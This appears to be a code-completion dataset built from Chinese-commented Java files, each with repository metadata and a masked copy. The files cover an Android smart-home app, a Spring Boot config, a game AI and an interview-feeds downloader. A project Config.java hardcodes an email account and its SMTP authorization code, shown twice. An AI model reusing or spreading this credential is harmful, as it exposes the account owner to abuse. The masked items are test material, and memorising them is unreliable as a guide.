sceneList.get(i).setNumber(deviceList.size()); scene = sceneList.get(i); break; } } Log.i(TAG, "保存"); dataSave.setDataList("sceneList", sceneList); titleDrawer.setText(scene.getName()); deviceLeft.setText(scene.getName()); setAdapter(); emptyWrapper.notifyItemInserted(emptyWrapper.getItemCount()); mAdapter.notifyItemInserted(mAdapter.getItemCount()); deviceTitle.setText(mDevice.getDevice_name()); if (mDevice.getDevice_type().equals("灯泡")) { mFragemntBulbCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(bulbFragment).hide(airConditionFragment).hide(fanFragment).hide(airIndexFragment).commitAllowingStateLoss(); CURRENT_FRAGMENT = BulbFragment.FRAGMENT_CODE; } else if (mDevice.getDevice_type().equals("风扇")) { fanFragment.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(fanFragment).hide(bulbFragment).hide(airConditionFragment).hide(airIndexFragment).commitAllowingStateLoss(); CURRENT_FRAGMENT = FanFragment.FRAGMENT_CODE; } else if (mDevice.getDevice_type().equals("空气指数")) { mFragmentAirIndexCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(airIndexFragment).hide(fanFragment).hide(bulbFragment).hide(airConditionFragment).commitAllowingStateLoss(); } else if (mDevice.getDevice_type().equals("空调")) { CURRENT_FRAGMENT=AirConditionFragment.FRAGMENT_CODE; mFragmentAirConditionCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(airConditionFragment).hide(airIndexFragment).hide(fanFragment).hide(bulbFragment).commitAllowingStateLoss(); } } else { if (requestCode == 0x02 && data.getBooleanExtra("select", false)) { for (int i = 0; i < sceneList.size(); i++) { if (sceneList.get(i).getId() == data.getIntExtra("sceneId", 0)) { scene = sceneList.get(i); break; } } initScene(scene); } } } private void initScene(Scene scene) { deviceLeft.setText(scene.getName()); //判断当前场景是否存在设备 titleDrawer.setText(scene.getName()); if (scene.getNumber() != 0) { Log.i(TAG, "隐藏添加"); AddDevicehide(true); deviceList = scene.getDeviceList(); setAdapter(); emptyWrapper.notifyItemInserted(emptyWrapper.getItemCount()); mAdapter.notifyItemInserted(mAdapter.getItemCount()); Log.i(TAG, "设备view" + mAdapter.getItemCount()); mDevice = deviceList.get(0); deviceTitle.setText(mDevice.getDevice_name()); if (mDevice.getDevice_type().equals("灯泡")) { Log.i(TAG, "fragment可见"); CURRENT_FRAGMENT = BulbFragment.FRAGMENT_CODE; mFragemntBulbCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(bulbFragment).hide(airConditionFragment).hide(fanFragment).hide(airIndexFragment).commitAllowingStateLoss(); } else if (mDevice.getDevice_type().equals("风扇")) { CURRENT_FRAGMENT = FanFragment.FRAGMENT_CODE; mFragmentFanCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(fanFragment).hide(bulbFragment).hide(airConditionFragment).hide(airIndexFragment).commitAllowingStateLoss(); }else if (mDevice.getDevice_type().equals("空调")){ CURRENT_FRAGMENT=AirConditionFragment.FRAGMENT_CODE; mFragmentAirConditionCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(airConditionFragment).hide(fanFragment).hide(bulbFragment).hide(airIndexFragment).commitAllowingStateLoss(); }else if (mDevice.getDevice_type().equals("空气指数")){ CURRENT_FRAGMENT=AirIndexFragment.FRAGMENT_CODE; mFragmentAirIndexCall.fragmentcallBack(mDevice); getSupportFragmentManager().beginTransaction().show(airIndexFragment).hide(fanFragment).hide(bulbFragment).hide(airConditionFragment).commitAllowingStateLoss(); } } else { AddDevicehide(false); deviceList = new ArrayList<>(); setAdapter(); } } @Override public void onBackPressed() { super.onBackPressed(); } private void saveChange() { dataSave.setDataList("sceneList", sceneList); } @Override protected void onDestroy() { // dataSave.setDataList("sceneList",sceneList); super.onDestroy(); } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // TODO: add setContentView(...) invocation ButterKnife.bind(this); } }
0
56045_2
package cn.eg.airadmindemo.config.springboot; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.annotation.Bean; import org.springframework.http.converter.HttpMessageConverter; import org.springframework.http.converter.StringHttpMessageConverter; import org.springframework.stereotype.Controller; import org.springframework.util.ResourceUtils; import org.springframework.web.servlet.config.annotation.ContentNegotiationConfigurer; import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurationSupport; import java.nio.charset.Charset; import java.util.List; @Controller @SpringBootApplication public class SpringBootThyleafApplication extends WebMvcConfigurationSupport { @Override protected void addResourceHandlers(ResourceHandlerRegistry registry) { //用于引入静态资源 registry.addResourceHandler("/**").addResourceLocations(ResourceUtils.CLASSPATH_URL_PREFIX+"/templates/"); registry.addResourceHandler("/**").addResourceLocations(ResourceUtils.CLASSPATH_URL_PREFIX+"/static/"); } @Bean public HttpMessageConverter<String> responseBodyConverter() { return new StringHttpMessageConverter(Charset.forName("UTF-8")); } @Override public void configureMessageConverters(List<HttpMessageConverter<?>> converters) { converters.add(responseBodyConverter()); // 这里必须加上加载默认转换器,不然bug玩死人,并且该bug目前在网络上似乎没有解决方案 // 百度,谷歌,各大论坛等。你可以试试去掉。 addDefaultHttpMessageConverters(converters); } @Override public void configureContentNegotiation(ContentNegotiationConfigurer configurer) { configurer.favorPathExtension(false); } }
EGbulingbuling/airadmindemo
src/main/java/cn/eg/airadmindemo/config/springboot/SpringBootThyleafApplication.java
427
// 百度,谷歌,各大论坛等。你可以试试去掉。
line_comment
zh-cn
package cn.eg.airadmindemo.config.springboot; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.annotation.Bean; import org.springframework.http.converter.HttpMessageConverter; import org.springframework.http.converter.StringHttpMessageConverter; import org.springframework.stereotype.Controller; import org.springframework.util.ResourceUtils; import org.springframework.web.servlet.config.annotation.ContentNegotiationConfigurer; import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; import org.springframework.web.servlet.config.annotation.WebMvcConfigurationSupport; import java.nio.charset.Charset; import java.util.List; @Controller @SpringBootApplication public class SpringBootThyleafApplication extends WebMvcConfigurationSupport { @Override protected void addResourceHandlers(ResourceHandlerRegistry registry) { //用于引入静态资源 registry.addResourceHandler("/**").addResourceLocations(ResourceUtils.CLASSPATH_URL_PREFIX+"/templates/"); registry.addResourceHandler("/**").addResourceLocations(ResourceUtils.CLASSPATH_URL_PREFIX+"/static/"); } @Bean public HttpMessageConverter<String> responseBodyConverter() { return new StringHttpMessageConverter(Charset.forName("UTF-8")); } @Override public void configureMessageConverters(List<HttpMessageConverter<?>> converters) { converters.add(responseBodyConverter()); // 这里必须加上加载默认转换器,不然bug玩死人,并且该bug目前在网络上似乎没有解决方案 // 百度 <SUF> addDefaultHttpMessageConverters(converters); } @Override public void configureContentNegotiation(ContentNegotiationConfigurer configurer) { configurer.favorPathExtension(false); } }
1
49389_1
package constant; /** * @author 赵洪苛 * @date 2020/3/19 19:35 * @description 全局常量 */ public class Config { /** * 学生身份登录 */ public static final int USER_LOGIN = 0; /** * 老师身份登录 */ public static final int ADMIN_LOGIN = 1; /** * 超级管理员身份登录 */ public static final int SUPER_ADMIN_LOGIN = 2; public static final String[] IDENTITY_LOGIN = {"用户", "管理员", "超级管理员"}; public static final String[] SEX = {"男", "女"}; /** * 该项处于未选状态 */ public static final int UNSELECTED = 0; /** * 该项已被选择 */ public static final int SELECTED = 1; /** * 注册窗口 */ public static final int REGISTER_DIALOG = 9; /** * 忘记密码窗口 */ public static final int FORGET_PASSWORD_DIALOG = 10; /** * 验证码超时时间,此为1分钟 */ public static final long VERIFY_CODE_TIME_OUT = 60000; public static final int ORDER_STATUS_AUDIT = 401; public static final int ORDER_STATUS_REFUSE_AUDIT = 402; public static final int ORDER_STATUS_UNPAID = 403; public static final int ORDER_STATUS_PAID = 404; public static final int ORDER_STATUS_DELIVERY = 405; public static final int ORDER_STATUS_TRANSPORTING = 406; public static final int ORDER_STATUS_COMPLETED = 407; public static final String[] ORDER_STATUS = {"待审核", "审核未通过", "待支付", "已支付", "待发货", "运输中", "已完成"}; public static final String DATABASE_CONNECT_FAILED_STRING = "数据库连接失败,请稍后再试!"; /** * 关于作者 */ public static final String ABOUT_ME_STRING = "\t关于作者:北京化工大学 信管1701 赵洪苛\t"; /** * 发件人的邮箱地址和密码 */ public static final String SEND_EMAIL_ACCOUNT = "884101977@qq.com"; /** * 授权码 */ public static final String SEND_EMAIL_PASSWORD = "onmdbvtpkltrbdja"; /** * 发件人邮箱的 SMTP 服务器地址 */ public static final String SEND_EMAIL_SMTP_HOST = "smtp.qq.com"; /** * BUCT收件人邮箱后缀,默认邮件仅支持北化邮箱注册。可根据需要定制第三方邮件发送器 */ public static final String BUCT_MAIL_SUFFIX = "@mail.buct.edu.cn"; /** * QQ邮箱后缀 */ public static final String QQ_MAIL_SUFFIX = "@qq.com"; /** * 网易邮箱后缀 */ public static final String WANGYI_AIL_SUFFIX = "@163.com"; }
EHENJOOM/PartManagement
src/constant/Config.java
755
/** * 学生身份登录 */
block_comment
zh-cn
package constant; /** * @author 赵洪苛 * @date 2020/3/19 19:35 * @description 全局常量 */ public class Config { /** * 学生身 <SUF>*/ public static final int USER_LOGIN = 0; /** * 老师身份登录 */ public static final int ADMIN_LOGIN = 1; /** * 超级管理员身份登录 */ public static final int SUPER_ADMIN_LOGIN = 2; public static final String[] IDENTITY_LOGIN = {"用户", "管理员", "超级管理员"}; public static final String[] SEX = {"男", "女"}; /** * 该项处于未选状态 */ public static final int UNSELECTED = 0; /** * 该项已被选择 */ public static final int SELECTED = 1; /** * 注册窗口 */ public static final int REGISTER_DIALOG = 9; /** * 忘记密码窗口 */ public static final int FORGET_PASSWORD_DIALOG = 10; /** * 验证码超时时间,此为1分钟 */ public static final long VERIFY_CODE_TIME_OUT = 60000; public static final int ORDER_STATUS_AUDIT = 401; public static final int ORDER_STATUS_REFUSE_AUDIT = 402; public static final int ORDER_STATUS_UNPAID = 403; public static final int ORDER_STATUS_PAID = 404; public static final int ORDER_STATUS_DELIVERY = 405; public static final int ORDER_STATUS_TRANSPORTING = 406; public static final int ORDER_STATUS_COMPLETED = 407; public static final String[] ORDER_STATUS = {"待审核", "审核未通过", "待支付", "已支付", "待发货", "运输中", "已完成"}; public static final String DATABASE_CONNECT_FAILED_STRING = "数据库连接失败,请稍后再试!"; /** * 关于作者 */ public static final String ABOUT_ME_STRING = "\t关于作者:北京化工大学 信管1701 赵洪苛\t"; /** * 发件人的邮箱地址和密码 */ public static final String SEND_EMAIL_ACCOUNT = "884101977@qq.com"; /** * 授权码 */ public static final String SEND_EMAIL_PASSWORD = "onmdbvtpkltrbdja"; /** * 发件人邮箱的 SMTP 服务器地址 */ public static final String SEND_EMAIL_SMTP_HOST = "smtp.qq.com"; /** * BUCT收件人邮箱后缀,默认邮件仅支持北化邮箱注册。可根据需要定制第三方邮件发送器 */ public static final String BUCT_MAIL_SUFFIX = "@mail.buct.edu.cn"; /** * QQ邮箱后缀 */ public static final String QQ_MAIL_SUFFIX = "@qq.com"; /** * 网易邮箱后缀 */ public static final String WANGYI_AIL_SUFFIX = "@163.com"; }
1
29762_1
package Ai; import control.GameControl; import dto.GameInfo; import dto.Grassman; import music.Player; public class Ai { private GameControl gameControl; private GameInfo info; private Grassman aiMan; private int moveDirection; private int offendDirection; public Ai(GameControl gameControl){ this.gameControl = gameControl; } /* * 默认先移动后攻击 */ public void judgeAction(){ //获取游戏信息 this.info=gameControl.getGameInfo(); //获得当前人物 this.aiMan=gameControl.getGrassman(); //随机移动方向 0 1 2 3 上 下 左 右 moveDirection=(int) (Math.random() * 4); doAction(moveDirection); //攻击方向 //随机攻击方向4 5 6 7 上 下 左 右 offendDirection=(int) (Math.random() * 4+4); //判断四个方向是否有敌人 if(isExistUpEnemy(this.gameControl.judgeWeapon())){ offendDirection=4; } if(isExistDownEnemy(this.gameControl.judgeWeapon())){ offendDirection=5; } if(isExistLeftEnemy(this.gameControl.judgeWeapon())){ offendDirection=6; } if(isExistRightEnemy(this.gameControl.judgeWeapon())){ offendDirection=7; } doAction(offendDirection); } /* * 判断攻击范围内是否有敌人 */ private boolean isExistUpEnemy(int weapon){ //向上有敌人 for (int i = 0; i < 7; i++) { if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) { // 该判断为攻击范围是否越界 if (this.aiMan.getXPosition() + aiMan.getOx()[weapon][i] < 0 || this.aiMan.getXPosition() +aiMan.getOx()[weapon][i] > 9 || this.aiMan.getYPosition() +aiMan.getOy()[weapon][i] < 0 || this.aiMan.getYPosition() +aiMan.getOy()[weapon][i] > 9) { continue; } if ((info.map[this.aiMan.getXPosition() + this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOy()[weapon][i]] < 4) && (info.map[this.aiMan.getXPosition() + this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOy()[weapon][i]] > 0)) { return true; } else { return false; } } } return false; } private boolean isExistDownEnemy(int weapon){ //向下有敌人 for (int i = 0; i < 7; i++) { if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) { // 该判断为攻击范围是否越界 if (this.aiMan.getXPosition() - aiMan.getOx()[weapon][i] < 0 || this.aiMan.getXPosition() -aiMan.getOx()[weapon][i] > 9 || this.aiMan.getYPosition() -aiMan.getOy()[weapon][i] < 0 || this.aiMan.getYPosition() -aiMan.getOy()[weapon][i] > 9) { continue; } if ((info.map[this.aiMan.getXPosition() - this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOy()[weapon][i]] < 4) && (info.map[this.aiMan.getXPosition() - this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOy()[weapon][i]] > 0)) { return true; } else { return false; } } } return false; } private boolean isExistLeftEnemy(int weapon){ //向左有敌人 for (int i = 0; i < 7; i++) { if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) { // 该判断为攻击范围是否越界 if (this.aiMan.getXPosition() - aiMan.getOy()[weapon][i] < 0 || this.aiMan.getXPosition() -aiMan.getOy()[weapon][i] > 9 || this.aiMan.getYPosition() +aiMan.getOx()[weapon][i] < 0 || this.aiMan.getYPosition() +aiMan.getOx()[weapon][i] > 9) { continue; } if ((info.map[this.aiMan.getXPosition() - this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOx()[weapon][i]] < 4) && (info.map[this.aiMan.getXPosition() - this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOx()[weapon][i]] > 0)) { return true; } else { return false; } } } return false; } private boolean isExistRightEnemy(int weapon){ //向右有敌人 for (int i = 0; i < 7; i++) { if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) { // 该判断为攻击范围是否越界 if (this.aiMan.getXPosition() + aiMan.getOy()[weapon][i] < 0 || this.aiMan.getXPosition() +aiMan.getOy()[weapon][i] > 9 || this.aiMan.getYPosition() -aiMan.getOx()[weapon][i] < 0 || this.aiMan.getYPosition() -aiMan.getOx()[weapon][i] > 9) { continue; } if ((info.map[this.aiMan.getXPosition() + this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOx()[weapon][i]] < 4) && (info.map[this.aiMan.getXPosition() + this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOx()[weapon][i]] > 0)) { return true; } else { return false; } } } return false; } public void doAction(int cmd){ Player.playSound("攻击"); switch(cmd){ case 0: if (this.gameControl.canMove()) { this.gameControl.KeyUp(); // System.out.println(0); } break; case 1: if (this.gameControl.canMove()) { this.gameControl.KeyDown(); // System.out.println(1); } break; case 2: if (this.gameControl.canMove()) { this.gameControl.KeyLeft(); // System.out.println(2); } break; case 3: if (this.gameControl.canMove()) { this.gameControl.KeyRight(); // System.out.println(3); } case 4: if(this.gameControl.canOffend()){ this.gameControl.KeyOffendUp(); // System.out.println(4); } break; case 5: if(this.gameControl.canOffend()){ this.gameControl.KeyOffendDown(); // System.out.println(5); } break; case 6: if(this.gameControl.canOffend()){ this.gameControl.KeyOffendLeft(); // System.out.println(6); } break; case 7: if(this.gameControl.canOffend()){ this.gameControl.KeyOffendRight(); // System.out.println(7); } break; default: System.out.println("出错啦! 你这个大笨蛋!"); break; } } }
ELCyber/GrassCraft
src/Ai/Ai.java
2,176
//获取游戏信息
line_comment
zh-cn
package Ai; import control.GameControl; import dto.GameInfo; import dto.Grassman; import music.Player; public class Ai { private GameControl gameControl; private GameInfo info; private Grassman aiMan; private int moveDirection; private int offendDirection; public Ai(GameControl gameControl){ this.gameControl = gameControl; } /* * 默认先移动后攻击 */ public void judgeAction(){ //获取 <SUF> this.info=gameControl.getGameInfo(); //获得当前人物 this.aiMan=gameControl.getGrassman(); //随机移动方向 0 1 2 3 上 下 左 右 moveDirection=(int) (Math.random() * 4); doAction(moveDirection); //攻击方向 //随机攻击方向4 5 6 7 上 下 左 右 offendDirection=(int) (Math.random() * 4+4); //判断四个方向是否有敌人 if(isExistUpEnemy(this.gameControl.judgeWeapon())){ offendDirection=4; } if(isExistDownEnemy(this.gameControl.judgeWeapon())){ offendDirection=5; } if(isExistLeftEnemy(this.gameControl.judgeWeapon())){ offendDirection=6; } if(isExistRightEnemy(this.gameControl.judgeWeapon())){ offendDirection=7; } doAction(offendDirection); } /* * 判断攻击范围内是否有敌人 */ private boolean isExistUpEnemy(int weapon){ //向上有敌人 for (int i = 0; i < 7; i++) { if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) { // 该判断为攻击范围是否越界 if (this.aiMan.getXPosition() + aiMan.getOx()[weapon][i] < 0 || this.aiMan.getXPosition() +aiMan.getOx()[weapon][i] > 9 || this.aiMan.getYPosition() +aiMan.getOy()[weapon][i] < 0 || this.aiMan.getYPosition() +aiMan.getOy()[weapon][i] > 9) { continue; } if ((info.map[this.aiMan.getXPosition() + this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOy()[weapon][i]] < 4) && (info.map[this.aiMan.getXPosition() + this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOy()[weapon][i]] > 0)) { return true; } else { return false; } } } return false; } private boolean isExistDownEnemy(int weapon){ //向下有敌人 for (int i = 0; i < 7; i++) { if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) { // 该判断为攻击范围是否越界 if (this.aiMan.getXPosition() - aiMan.getOx()[weapon][i] < 0 || this.aiMan.getXPosition() -aiMan.getOx()[weapon][i] > 9 || this.aiMan.getYPosition() -aiMan.getOy()[weapon][i] < 0 || this.aiMan.getYPosition() -aiMan.getOy()[weapon][i] > 9) { continue; } if ((info.map[this.aiMan.getXPosition() - this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOy()[weapon][i]] < 4) && (info.map[this.aiMan.getXPosition() - this.aiMan.getOx()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOy()[weapon][i]] > 0)) { return true; } else { return false; } } } return false; } private boolean isExistLeftEnemy(int weapon){ //向左有敌人 for (int i = 0; i < 7; i++) { if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) { // 该判断为攻击范围是否越界 if (this.aiMan.getXPosition() - aiMan.getOy()[weapon][i] < 0 || this.aiMan.getXPosition() -aiMan.getOy()[weapon][i] > 9 || this.aiMan.getYPosition() +aiMan.getOx()[weapon][i] < 0 || this.aiMan.getYPosition() +aiMan.getOx()[weapon][i] > 9) { continue; } if ((info.map[this.aiMan.getXPosition() - this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOx()[weapon][i]] < 4) && (info.map[this.aiMan.getXPosition() - this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() + this.aiMan.getOx()[weapon][i]] > 0)) { return true; } else { return false; } } } return false; } private boolean isExistRightEnemy(int weapon){ //向右有敌人 for (int i = 0; i < 7; i++) { if (aiMan.getOx()[weapon][i] != 0 || aiMan.getOy()[weapon][i] != 0) { // 该判断为攻击范围是否越界 if (this.aiMan.getXPosition() + aiMan.getOy()[weapon][i] < 0 || this.aiMan.getXPosition() +aiMan.getOy()[weapon][i] > 9 || this.aiMan.getYPosition() -aiMan.getOx()[weapon][i] < 0 || this.aiMan.getYPosition() -aiMan.getOx()[weapon][i] > 9) { continue; } if ((info.map[this.aiMan.getXPosition() + this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOx()[weapon][i]] < 4) && (info.map[this.aiMan.getXPosition() + this.aiMan.getOy()[weapon][i]][this.aiMan.getYPosition() - this.aiMan.getOx()[weapon][i]] > 0)) { return true; } else { return false; } } } return false; } public void doAction(int cmd){ Player.playSound("攻击"); switch(cmd){ case 0: if (this.gameControl.canMove()) { this.gameControl.KeyUp(); // System.out.println(0); } break; case 1: if (this.gameControl.canMove()) { this.gameControl.KeyDown(); // System.out.println(1); } break; case 2: if (this.gameControl.canMove()) { this.gameControl.KeyLeft(); // System.out.println(2); } break; case 3: if (this.gameControl.canMove()) { this.gameControl.KeyRight(); // System.out.println(3); } case 4: if(this.gameControl.canOffend()){ this.gameControl.KeyOffendUp(); // System.out.println(4); } break; case 5: if(this.gameControl.canOffend()){ this.gameControl.KeyOffendDown(); // System.out.println(5); } break; case 6: if(this.gameControl.canOffend()){ this.gameControl.KeyOffendLeft(); // System.out.println(6); } break; case 7: if(this.gameControl.canOffend()){ this.gameControl.KeyOffendRight(); // System.out.println(7); } break; default: System.out.println("出错啦! 你这个大笨蛋!"); break; } } }
0
57884_2
package io.github.emanual.app.ui; import android.app.ProgressDialog; import android.os.Bundle; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.support.v7.widget.Toolbar; import android.widget.Toast; import com.loopj.android.http.AsyncHttpResponseHandler; import java.io.File; import java.io.IOException; import java.util.List; import butterknife.Bind; import cz.msebera.android.httpclient.Header; import de.greenrobot.event.EventBus; import de.greenrobot.event.Subscribe; import de.greenrobot.event.ThreadMode; import io.github.emanual.app.R; import io.github.emanual.app.api.EmanualAPI; import io.github.emanual.app.entity.FeedsItemEntity; import io.github.emanual.app.ui.adapter.FeedsListAdapter; import io.github.emanual.app.ui.base.activity.SwipeRefreshActivity; import io.github.emanual.app.ui.event.InterviewDownloadEndEvent; import io.github.emanual.app.ui.event.InterviewDownloadFaildEvent; import io.github.emanual.app.ui.event.InterviewDownloadProgressEvent; import io.github.emanual.app.ui.event.InterviewDownloadStartEvent; import io.github.emanual.app.ui.event.UnPackFinishEvent; import io.github.emanual.app.utils.AppPath; import io.github.emanual.app.utils.SwipeRefreshLayoutUtils; import io.github.emanual.app.utils.ZipUtils; import timber.log.Timber; public class InterviewFeedsActivity extends SwipeRefreshActivity { ProgressDialog mProgressDialog; @Bind(R.id.recyclerView) RecyclerView recyclerView; @Override protected void initData(Bundle savedInstanceState) { } @Override protected void initLayout(Bundle savedInstanceState) { setSupportActionBar((Toolbar) findViewById(R.id.toolbar)); getSupportActionBar().setDisplayHomeAsUpEnabled(true); getSupportActionBar().setTitle(R.string.acty_feeds_list); mProgressDialog = new ProgressDialog(getContext()); mProgressDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL); recyclerView.setLayoutManager(new LinearLayoutManager(getContext())); fetchData(); } @Override protected int getContentViewId() { return R.layout.acty_interview_feeds; } @Override public void onRefresh() { // EmanualAPI.getIn fetchData(); } @Subscribe(threadMode = ThreadMode.MainThread) public void onDownloadStart(InterviewDownloadStartEvent event) { mProgressDialog.setTitle("正在下载.."); mProgressDialog.setProgress(0); mProgressDialog.setMax(100); mProgressDialog.show(); } @Subscribe(threadMode = ThreadMode.MainThread) public void onDownloadProgress(InterviewDownloadProgressEvent event) { Timber.d(event.getBytesWritten() + "/" + event.getTotalSize()); mProgressDialog.setMessage(String.format("大小:%.2f M", 1.0 * event.getTotalSize() / 1024 / 1024)); mProgressDialog.setMax((int) event.getTotalSize()); mProgressDialog.setProgress((int) event.getBytesWritten()); } @Subscribe(threadMode = ThreadMode.MainThread) public void onDownloadFaild(InterviewDownloadFaildEvent event) { Toast.makeText(getContext(), "出错了,错误码:" + event.getStatusCode(), Toast.LENGTH_LONG).show(); mProgressDialog.dismiss(); } @Subscribe(threadMode = ThreadMode.MainThread) public void onDownloadEnd2(InterviewDownloadEndEvent event) { mProgressDialog.setTitle("正在解压.."); } /** * 下载完毕 * @param event */ @Subscribe(threadMode = ThreadMode.Async) public void onDownloadEnd(InterviewDownloadEndEvent event) { try { ZipUtils.unZipFiles(event.getFile().getAbsolutePath(), AppPath.getInterviewsPath(getContext()) + File.separator + event.getFeedsItemEntity().getName() + File.separator); //删除压缩包 if (event.getFile().exists()) { event.getFile().delete(); } } catch (IOException e) { e.printStackTrace(); EventBus.getDefault().post(new UnPackFinishEvent(e)); return; } EventBus.getDefault().post(new UnPackFinishEvent(null)); } @Subscribe(threadMode = ThreadMode.MainThread) public void onUnpackFinishEvent(UnPackFinishEvent event) { if (event.getException() != null) { toast(event.getException().getMessage()); return; } toast("下载并解压成功"); mProgressDialog.dismiss(); } private void fetchData() { EmanualAPI.getInterviewFeeds(new AsyncHttpResponseHandler() { @Override public void onStart() { super.onStart(); SwipeRefreshLayoutUtils.setRefreshing(getSwipeRefreshLayout(), true); } @Override public void onSuccess(int statusCode, Header[] headers, byte[] responseBody) { try { List<FeedsItemEntity> feeds = FeedsItemEntity.createByJSONArray(new String(responseBody), FeedsItemEntity.class); Timber.d(feeds.toString()); recyclerView.setAdapter(new FeedsListAdapter(getContext(), feeds, FeedsListAdapter.TYPE_INTERVIEW)); } catch (Exception e) { toast("哎呀,网络异常!"); } } @Override public void onFailure(int statusCode, Header[] headers, byte[] responseBody, Throwable error) { } @Override public void onFinish() { super.onFinish(); SwipeRefreshLayoutUtils.setRefreshing(getSwipeRefreshLayout(), false); } @Override public void onProgress(long bytesWritten, long totalSize) { super.onProgress(bytesWritten, totalSize); } }); } }
EManual/EManual-Android
app/src/main/java/io/github/emanual/app/ui/InterviewFeedsActivity.java
1,433
//删除压缩包
line_comment
zh-cn
package io.github.emanual.app.ui; import android.app.ProgressDialog; import android.os.Bundle; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.support.v7.widget.Toolbar; import android.widget.Toast; import com.loopj.android.http.AsyncHttpResponseHandler; import java.io.File; import java.io.IOException; import java.util.List; import butterknife.Bind; import cz.msebera.android.httpclient.Header; import de.greenrobot.event.EventBus; import de.greenrobot.event.Subscribe; import de.greenrobot.event.ThreadMode; import io.github.emanual.app.R; import io.github.emanual.app.api.EmanualAPI; import io.github.emanual.app.entity.FeedsItemEntity; import io.github.emanual.app.ui.adapter.FeedsListAdapter; import io.github.emanual.app.ui.base.activity.SwipeRefreshActivity; import io.github.emanual.app.ui.event.InterviewDownloadEndEvent; import io.github.emanual.app.ui.event.InterviewDownloadFaildEvent; import io.github.emanual.app.ui.event.InterviewDownloadProgressEvent; import io.github.emanual.app.ui.event.InterviewDownloadStartEvent; import io.github.emanual.app.ui.event.UnPackFinishEvent; import io.github.emanual.app.utils.AppPath; import io.github.emanual.app.utils.SwipeRefreshLayoutUtils; import io.github.emanual.app.utils.ZipUtils; import timber.log.Timber; public class InterviewFeedsActivity extends SwipeRefreshActivity { ProgressDialog mProgressDialog; @Bind(R.id.recyclerView) RecyclerView recyclerView; @Override protected void initData(Bundle savedInstanceState) { } @Override protected void initLayout(Bundle savedInstanceState) { setSupportActionBar((Toolbar) findViewById(R.id.toolbar)); getSupportActionBar().setDisplayHomeAsUpEnabled(true); getSupportActionBar().setTitle(R.string.acty_feeds_list); mProgressDialog = new ProgressDialog(getContext()); mProgressDialog.setProgressStyle(ProgressDialog.STYLE_HORIZONTAL); recyclerView.setLayoutManager(new LinearLayoutManager(getContext())); fetchData(); } @Override protected int getContentViewId() { return R.layout.acty_interview_feeds; } @Override public void onRefresh() { // EmanualAPI.getIn fetchData(); } @Subscribe(threadMode = ThreadMode.MainThread) public void onDownloadStart(InterviewDownloadStartEvent event) { mProgressDialog.setTitle("正在下载.."); mProgressDialog.setProgress(0); mProgressDialog.setMax(100); mProgressDialog.show(); } @Subscribe(threadMode = ThreadMode.MainThread) public void onDownloadProgress(InterviewDownloadProgressEvent event) { Timber.d(event.getBytesWritten() + "/" + event.getTotalSize()); mProgressDialog.setMessage(String.format("大小:%.2f M", 1.0 * event.getTotalSize() / 1024 / 1024)); mProgressDialog.setMax((int) event.getTotalSize()); mProgressDialog.setProgress((int) event.getBytesWritten()); } @Subscribe(threadMode = ThreadMode.MainThread) public void onDownloadFaild(InterviewDownloadFaildEvent event) { Toast.makeText(getContext(), "出错了,错误码:" + event.getStatusCode(), Toast.LENGTH_LONG).show(); mProgressDialog.dismiss(); } @Subscribe(threadMode = ThreadMode.MainThread) public void onDownloadEnd2(InterviewDownloadEndEvent event) { mProgressDialog.setTitle("正在解压.."); } /** * 下载完毕 * @param event */ @Subscribe(threadMode = ThreadMode.Async) public void onDownloadEnd(InterviewDownloadEndEvent event) { try { ZipUtils.unZipFiles(event.getFile().getAbsolutePath(), AppPath.getInterviewsPath(getContext()) + File.separator + event.getFeedsItemEntity().getName() + File.separator); //删除 <SUF> if (event.getFile().exists()) { event.getFile().delete(); } } catch (IOException e) { e.printStackTrace(); EventBus.getDefault().post(new UnPackFinishEvent(e)); return; } EventBus.getDefault().post(new UnPackFinishEvent(null)); } @Subscribe(threadMode = ThreadMode.MainThread) public void onUnpackFinishEvent(UnPackFinishEvent event) { if (event.getException() != null) { toast(event.getException().getMessage()); return; } 